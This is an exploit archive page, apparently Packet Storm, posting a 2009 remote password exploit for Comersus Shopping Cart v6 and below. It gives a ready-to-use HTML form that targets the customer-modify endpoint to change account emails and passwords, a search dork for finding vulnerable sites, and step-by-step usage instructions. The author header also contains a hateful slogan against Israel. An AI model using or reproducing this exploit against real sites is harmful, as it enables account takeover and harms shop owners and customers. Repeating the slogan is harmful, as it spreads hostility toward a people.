what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Comersus Shopping Cart Password Exploit

Comersus Shopping Cart Password Exploit
Posted Jan 12, 2009
Authored by ajann

Comersus Shopping Cart versions 6 and below remote user password exploit.

tags | exploit, remote
SHA-256 | 85811285b1b4093109d8e4e05f1be5765126afdb74df6e742c9f6c53bb7dd482

Comersus Shopping Cart Password Exploit

Change Mirror Download
*******************************************************************************
# Title : Comersus Shopping Cart <= v6 Remote User Pass Exploit
# Author : "ajann" from Turkey
# Contact : :(
# S.Page : http://www.comersus.com/
# $$ : Free
# Dork : Powered by Comersus v6 Shopping Cart
# DorkEx :

http://www.google.com.tr/search?hl=tr&q=Powered+by+Comersus+v6+Shopping+Cart&btnG=Ara&meta=

KAHROLSUN ISRAEL

-Register Site
-Login
-Open Exploit
-Edit: User Email , User Password
-Submit Form

*******************************************************************************

<form method="post" name="modCust" action="http://target/[path]/comersus_customerModifyExec.asp">
<table width="421" border="0">
<tr>

</tr>
<tr>
<td width="168">Name</td>
<td width="220">
<input type=text name=customerName value="test">
</td>
</tr>
<tr>
<td width="168">Last Name</td>
<td width="220">
<input type=text name=lastName value="test">
</td>
</tr>
<tr>
<td width="168">Company</td>
<td width="220">
<input type=text name=customerCompany value="test">
</td>
</tr>
<tr>
<td width="168">Phone</td>
<td width="220">
<input type=text name=phone value="123456789">
</td>
</tr>
<tr>
<td width="168"><strong>Email</strong></td>
<td width="220">

<input type="text" name="email" value="Please Add Mail">
Edit
</td>
</tr>
<tr>
<td width="168"><strong>Password</strong></td>
<td width="220">
<input type=text name=password value="Please Add Pass">
Edit
</td>
</tr>
<tr>
<td width="168">Address</td>
<td width="220">
<input type=text name=address value="test">
</td>
</tr>
<tr>
<td width="168">Zip</td>
<td width="220">
<input type=text name=zip value="08050">
</td>
</tr>
<tr>
<td width="168">State</td>
<td width="220">

<SELECT name=stateCode size=1>
<OPTION value="">Select the state
<option value="1">Please Type County below
</OPTION>
</SELECT>
</td>
</tr>
<tr>
<td width="168">Non listed state</td>
<td width="220">
<input type=text name=state value="">
</td>
</tr>
<tr>
<td width="168">City</td>
<td width="220">
<input type=text name=city value="test">
</td>
</tr>
<tr>
<td width="168">Country</td>
<td width="220">

<SELECT name=countryCode>
<OPTION value="">Select the country
<option value="AF" selected>AFGHANISTAN
</OPTION>
</SELECT>
</td>
</tr>



<tr>
<td width="168">&nbsp;</td>
<td width="220">&nbsp;</td>
</tr>
<tr>
<td colspan="2">
<input type="submit" name="Modify" value="Modify">
</td>
</tr>
</table>
</form>
Login or Register to add favorites

File Archive:

December 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    2 Files
  • 2
    Dec 2nd
    12 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close